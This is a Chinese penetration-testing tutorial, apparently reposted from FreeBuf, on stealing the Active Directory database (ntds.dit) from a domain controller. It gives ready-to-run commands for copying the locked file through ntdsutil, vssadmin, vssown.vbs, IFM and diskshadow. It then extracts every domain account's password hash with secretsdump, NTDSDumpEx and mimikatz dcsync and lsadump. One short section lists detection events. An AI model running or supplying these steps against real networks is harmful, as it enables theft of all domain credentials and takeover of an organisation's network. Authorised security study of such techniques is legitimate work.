内网渗透基石篇–域控制器(上) – 作者:pony686

前言

在通常情况下,即使拥有管理员权限,也无法读取域控制器中的ndts.dit文件, 但是我们又非常想获得这个文件的内容,这个时候就需要使用windows本地卷影拷贝服务VSS。在活动目录中,所有的数据都保存在ntds.dit文件中,ntds.dit是一个二进制文件,包含用户名、散列值、组、GPP、OU等与活动目录相关的信息,它和SAM文件一样,被windows系统锁死。卷影拷贝服务VSS,本质上属于快照技术的一种,主要用于备份和恢复,即使文件当前处于锁死状态。

一、 使用卷影拷贝服务提取ntds.dit

当我们拿下域控服务器时候,如果想要拿到所有用户的hash,那么就涉及到ntds.dit 在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本 在活动目录中,所有的数据都保存在ntds.dit文件中。ntdis.dit是一个二进制文件,存储位置为与控制的%SystemRoot%\ntds\ntds.di。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息,它和SAM文件一样,是被windows操作系统锁定的。

1.1 通过ntdsutil.exe 提权 ntds.dit

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在与控制上远程操作。ntdsutil.exe支持的操作系统有win2003,2008,2012 在与控制的命令行环境中输入以下命令,创建一个快照。该快照包含Windows中所有的文件,且在复制文件时候不会受到windows锁定机制的限制.

1.创建快照

ntdsutil.exe snapshot "activate instance ntds" create q q

1627115797_60fbd11531bfe58f836aa.png!small?1627115797361

1627115807_60fbd11f5411cc1fd98c8.png!small?1627115807573

2.加载创建的快照

ntdsutil snapshot “mount {665f12d7-37f5-45e3-8aba-1d1944173ec9}” quit quit

1627115816_60fbd1283a688ef00461a.png!small?1627115816444

3.复制出快照中的ntds.dit文件

copy C:\$SNAP_202007261544_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

1627115824_60fbd130a3aea7626701b.png!small?1627115824796

4.最后卸载并删除快照

ntdsutil snapshot “unmount {33a3344e-4c5e-4fc0-821e-fdc7a7aac36d}” “delete {33a3344e-4c5e-4fc0-821e-fdc7a7aac36d}” quit quit

1627115834_60fbd13aeba0b0a42a334.png!small?1627115835141

1627115842_60fbd14228390f373a1a9.png!small?1627115842443

1.2 利用vssadmin 提权 ntds.dit

vssadmin是win2008以及win7提供的vss管理工具,可以用于创建和删除卷影拷贝,拷贝,列出卷影拷贝的信息、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间的大小等.

1.创建一个C盘的卷影拷贝1627115852_60fbd14c11395d6febfdb.png!small?1627115852233

1627115858_60fbd152ca33ae3b56d21.png!small?1627115859018

2.复制卷影拷贝中的Ntds.dit文件到C:\盘下

1627115867_60fbd15b71a1ac42571c8.png!small?1627115867735

1.3 利用vssown.vbs脚本提取ntds.dit

vssown.vbs脚本的功能和vssadmin类型,可以用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务 //启动卷影拷贝服务 cscript vssown.vbs /start //创建一个C盘的卷影拷贝 cscript vssown.vbs /create c //列出当前卷影拷贝 cscript vssown.vbs /list //删除卷影拷贝 cscript vssown.vbs /delete

下载地址:

https://github.com/borigue/ptscripts/tree/master/windows

1.启动卷影拷贝服务

1627115875_60fbd163ceec3e9dc6a36.png!small?1627115876064

2.列出当前目录下的卷影拷贝,并复制出其中的ntds.dit文件

1627115883_60fbd16b7d6bc8d48cdc2.png!small?1627115883674

1.4 使用ntdsutil 的 IFM 创建卷影拷贝

在使用ntdsutil创建IFM时候,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中操作 只需要一条命令即可

1.通过IFM复制到c:\test\文件夹下

1627115891_60fbd1736bafa20515c65.png!small?1627115891691

2.然后复制

1627115900_60fbd17cb6c52335f18fa.png!small?1627115900904

1.5 使用diskshadow导出ntds,dit

微软官方文档中说明“diskshadow.exe 这款工具可以使用卷影拷贝服务(vss)所提供的多个功能。因为diskshadow的代码是微软签名的,而且win2008、2012、2016都默认包含diskshadow,所以它也能够用来操作卷影拷贝服务并导出ntds.dit。diskshadow的功能与vshadow类型,且同样位于c:\windows\system32\目录下。 diskshadow有交互和非交互两种模式。在使用交互模式时候,需要登陆远程桌面的图形化管理界面。不管是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令 在渗透测试中,可以使用diskshadow.exe来执行命令 首先需要将执行的命令写入txt文件中 比如 exec c:\windows\system32\calc.exe

1.首先写入1.txt

1627115908_60fbd184f1bda513d9c63.png!small?1627115909124

2.使用diskshadow.exe加载该txt文件。

1627115916_60fbd18c5ec69df012f9d.png!small?1627115916500

3.然后执行。

1627115924_60fbd1949b9ea89ccdf06.png!small?1627115924810

1627115932_60fbd19c4d2b12defa6d6.png!small?1627115932541

1.6 监控卷影拷贝服务的使用情况

监控卷应拷贝服务以及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件 监控创建diskshadow.exe以及相关子进程的事件 监控客户端设备中的diskshadow.exe实例创建事件。 通过日志监控新出现的逻辑驱动器映射事件

二、 导出ntds.dit 中的散列值

linux平台下 使用impack工具包导出散列值 使用impacket工具包中的secretsdump可以解析ntds.dit文件,导出散列值 前提需要:域控服务器的ntds.dit文件,SYSTEM文件(C:\Windows\System32\config) 所以可以直接使用上面说到的ntdsutil的IFM创建卷影拷贝,既能够得到ntds.dit也能得到SYSTEM文件 python secretsdump.py -system /neiwang/ntds.dit/SYSTEM -ntds /neiwang/ntds.dit/ntds.dit LOCAL

2.1 使用esedbexport恢复ntds.dit

1627115941_60fbd1a5ed92246a7e134.png!small?1627115942276

./configure
make
sudo  make install 
sudo ldconfig

然j后使用esedbexport进行恢复操作

esedbexport -m tables ntds.dit

导出散列值

2.2 使用impacket 工具包导出散列值

使用impacket工具包导出散列值(Linux)

使用NTDS Dumpex 导出散列值(Windows)

但是在开始之前,我们需要做一些准备工作,一个是ntds.dit活动目录文件,另一个是system.save文件, 可以通过HiveJack这个小工具轻松获得,github上可以下载。

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install

1627115951_60fbd1af9815909d62674.png!small?1627115951786

1.安装impacket

1627115974_60fbd1c6b1ca0f7a33617.png!small?1627115975078

2.导出散列值1627115984_60fbd1d099bb794a0d2ee.png!small?16271159851991627115992_60fbd1d843743f643bc66.png!small?1627115992488

2.3 在windows 下解析并导出域账号和域散列值

使用NTDSDumpex.exe可以进行导出散列值的操作。

将ntds.dit、NTDSDumpex.exe、system.hive 放在同一目录下,输入如下命令即可导出域账号和散列值。

NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx

获取key:reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv

使用NTDSDumpEx获取所有域用户的Hash

NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt

1627116000_60fbd1e08877d5e71fdc9.png!small?1627116000696

1627116008_60fbd1e8df44336d10764.png!small?1627116009157

三、 利用dcsync获取域散列值

利用dcsync获取域散列值 使用mimikatz转储域散列值 mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit 实现原理: 利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据 微软官方解释: 指定目录复制服务(DRS)远程协议,一种用于复制和管理Active Directory中数据的RPC协议。 利用条件: 获得以下任一用户的权限: Administrators组内的用户 Domain Admins组内的用户 Enterprise Admins组内的用户 域控制器的计算机帐户 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行mimikatz,使用mimikatz导出域内的所有用户名以及散列值 lsadump::dcsync /domain:god.org /all /csv

3.1 使用mimikatz转储域散列值

dcsync 获取域内用户哈希值

mimikatz 转储哈希值

mimikatz 有一个 dcsync 功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件并检索域散列值。

前提必须使用管理员权限运行 mimikatz 才可以读取 ntds.dit。

在域内任意一台主机,以域管理员权限执行命令:

1627116019_60fbd1f3e775d978d9d82.png!small?1627116020178

3.2 使用dcsync 获取域账号和域散列值

1627116039_60fbd2077c8a953938a52.png!small?1627116039728

privilege::debug
log
lsadump::lsa /inject

1627116050_60fbd2121127afa929da8.png!small?1627116050356

如果 mimikatz 没有预先执行 privilege::debug 命令,将导致权限不足、读取失败。如果用户数量太多,mimikatz 无法完全显示出来,可以先执行 log(会在mimikatz目录下生成一个文本文件,用于记录mimikatz的所有执行结果)。

总结:

内网域控制器是大型内网中最重要的一环,拿下域控的话,基本整个内网就拿下了。域控也是最主要的一环,文章主要写了使用一些工具和脚本获取关键信息。

来源:freebuf.com 2021-07-26 16:17:27 by: pony686

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论